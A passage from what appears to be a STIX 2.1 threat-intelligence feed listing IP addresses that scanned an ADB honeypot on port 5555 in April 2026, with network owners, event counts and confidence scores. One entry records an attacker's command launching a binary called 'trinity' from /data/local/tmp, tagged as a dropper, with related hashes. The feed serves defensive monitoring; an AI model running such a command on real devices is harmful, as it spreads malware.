      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=HK; asn=9304; asn_org=HGC Global Communications Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-20T14:55:44.000Z | last_seen=2026-04-20T14:57:22.054Z | ports=5555 | cc=HK | asn=9304 | org=HGC Global Communications Limited",
      "id": "indicator--ee65554d-a014-492d-8df5-7810faa2762e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '223.18.123.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T15:00:02.000Z",
      "valid_until": "2026-05-22T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-20T14:55:44.000Z",
          "last_seen": "2026-04-20T14:57:22.054Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9304"
          ],
          "org": [
            "HGC Global Communications Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-20T15:54:48.000Z | last_seen=2026-04-20T16:04:53.138Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--80bbb35a-305b-4e27-a37a-cbfad80b1b45",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '118.34.189.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T16:00:02.000Z",
      "valid_until": "2026-05-22T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-20T15:54:48.000Z",
          "last_seen": "2026-04-20T16:04:53.138Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-20T15:46:36.000Z | last_seen=2026-04-20T15:47:37.885Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--89c0df96-8612-4c94-8c4d-72ac52033b7a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '143.42.1.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T16:00:02.000Z",
      "valid_until": "2026-05-22T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-20T15:46:36.000Z",
          "last_seen": "2026-04-20T15:47:37.885Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-20T15:39:21.000Z | last_seen=2026-04-26T12:31:24.086Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--78b56f41-796b-4072-a80c-4180a9aa4236",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T16:00:02.000Z",
      "valid_until": "2026-05-22T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-20T15:39:21.000Z",
          "last_seen": "2026-04-26T12:31:24.086Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=15 | first_seen=2026-04-20T15:41:37.000Z | last_seen=2026-04-26T12:42:06.036Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--811359b6-ae27-4843-9545-88d9a92dcb29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T16:00:02.000Z",
      "valid_until": "2026-05-22T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 15,
          "first_seen": "2026-04-20T15:41:37.000Z",
          "last_seen": "2026-04-26T12:42:06.036Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=24 | first_seen=2026-04-20T15:17:19.000Z | last_seen=2026-04-20T15:27:36.616Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--133bf4d5-b2f5-4f7c-913d-0dd8fcbc918d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '46.101.166.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T16:00:02.000Z",
      "valid_until": "2026-05-22T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 24,
          "first_seen": "2026-04-20T15:17:19.000Z",
          "last_seen": "2026-04-20T15:27:36.616Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T17:01:41.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=61; ports=5555; cc=CN; asn=56046; asn_org=China Mobile communications corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-04. events=61 | first_seen=2026-04-20T16:23:05.000Z | last_seen=2026-04-20T16:36:08.234Z | ports=5555 | cc=CN | asn=56046 | org=China Mobile communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--71943158-6f35-41fe-bd0e-cf7ee453bb67",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '36.155.147.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T17:01:41.000Z",
      "valid_until": "2026-05-22T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 61,
          "first_seen": "2026-04-20T16:23:05.000Z",
          "last_seen": "2026-04-20T16:36:08.234Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56046"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T18:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=12 | first_seen=2026-04-20T17:09:43.000Z | last_seen=2026-04-20T22:52:39.337Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--d37e9f82-fbb9-4512-b69e-7a4bbd713d56",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.252.27.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T18:00:03.000Z",
      "valid_until": "2026-05-22T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 12,
          "first_seen": "2026-04-20T17:09:43.000Z",
          "last_seen": "2026-04-20T22:52:39.337Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=7922; asn_org=Comcast Cable Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-20T18:13:26.000Z | last_seen=2026-04-20T18:23:35.018Z | ports=5555 | cc=US | asn=7922 | org=Comcast Cable Communications, LLC",
      "id": "indicator--74b4fa0b-8a18-4871-8a2f-5ae3125cbb9b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '75.71.42.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T19:00:03.000Z",
      "valid_until": "2026-05-22T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-20T18:13:26.000Z",
          "last_seen": "2026-04-20T18:23:35.018Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7922"
          ],
          "org": [
            "Comcast Cable Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-20T19:48:45.000Z | last_seen=2026-04-20T19:49:48.879Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd.",
      "id": "indicator--1469e1d2-64ea-48a5-9b4d-0f7e9d9aba4a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '39.130.224.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T20:00:02.000Z",
      "valid_until": "2026-05-22T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-20T19:48:45.000Z",
          "last_seen": "2026-04-20T19:49:48.879Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-20T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-20T19:55:43.000Z | last_seen=2026-04-20T19:56:49.894Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--9fa390ab-a4a0-43a0-9660-9da08589e6f4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T20:00:02.000Z",
      "valid_until": "2026-05-22T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-20T19:55:43.000Z",
          "last_seen": "2026-04-20T19:56:49.894Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T04:01:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-21T03:52:35.000Z | last_seen=2026-04-21T04:02:44.794Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--5af6ab3a-f94e-4db2-96f6-8be6d902a66b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T04:01:14.000Z",
      "valid_until": "2026-05-23T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-21T03:52:35.000Z",
          "last_seen": "2026-04-21T04:02:44.794Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T04:01:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=140527; asn_org=China Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-21T03:52:34.000Z | last_seen=2026-04-21T03:53:38.379Z | ports=5555 | cc=CN | asn=140527 | org=China Telecom",
      "id": "indicator--0ef20420-41e3-4e95-8744-08fab5ebcc58",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '114.98.177.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T04:01:14.000Z",
      "valid_until": "2026-05-23T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-21T03:52:34.000Z",
          "last_seen": "2026-04-21T03:53:38.379Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "140527"
          ],
          "org": [
            "China Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T04:01:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=CL; asn=22047; asn_org=VTR BANDA ANCHA S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-21T03:24:03.000Z | last_seen=2026-04-21T03:25:41.264Z | ports=5555 | cc=CL | asn=22047 | org=VTR BANDA ANCHA S.A.",
      "id": "indicator--24ae29db-b221-43b1-a954-0c896411bd6f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '190.164.217.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T04:01:14.000Z",
      "valid_until": "2026-05-23T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-21T03:24:03.000Z",
          "last_seen": "2026-04-21T03:25:41.264Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CL"
          ],
          "asn": [
            "22047"
          ],
          "org": [
            "VTR BANDA ANCHA S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T04:01:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-21T02:10:16.000Z | last_seen=2026-04-21T05:08:29.213Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--899516e4-de68-4bed-b408-abc9408e82e3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T04:01:14.000Z",
      "valid_until": "2026-05-23T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-21T02:10:16.000Z",
          "last_seen": "2026-04-21T05:08:29.213Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-21T06:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RU; asn=135377; asn_org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=101 | first_seen=2026-04-21T05:57:30.000Z | last_seen=2026-04-21T06:44:47.122Z | ports=5555 | cc=RU | asn=135377 | org=UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "id": "indicator--3a2ce912-ba6a-42fd-9df3-65e3d3412a1e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '152.32.227.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-21T06:00:06.000Z",
      "valid_until": "2026-05-23T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 101,
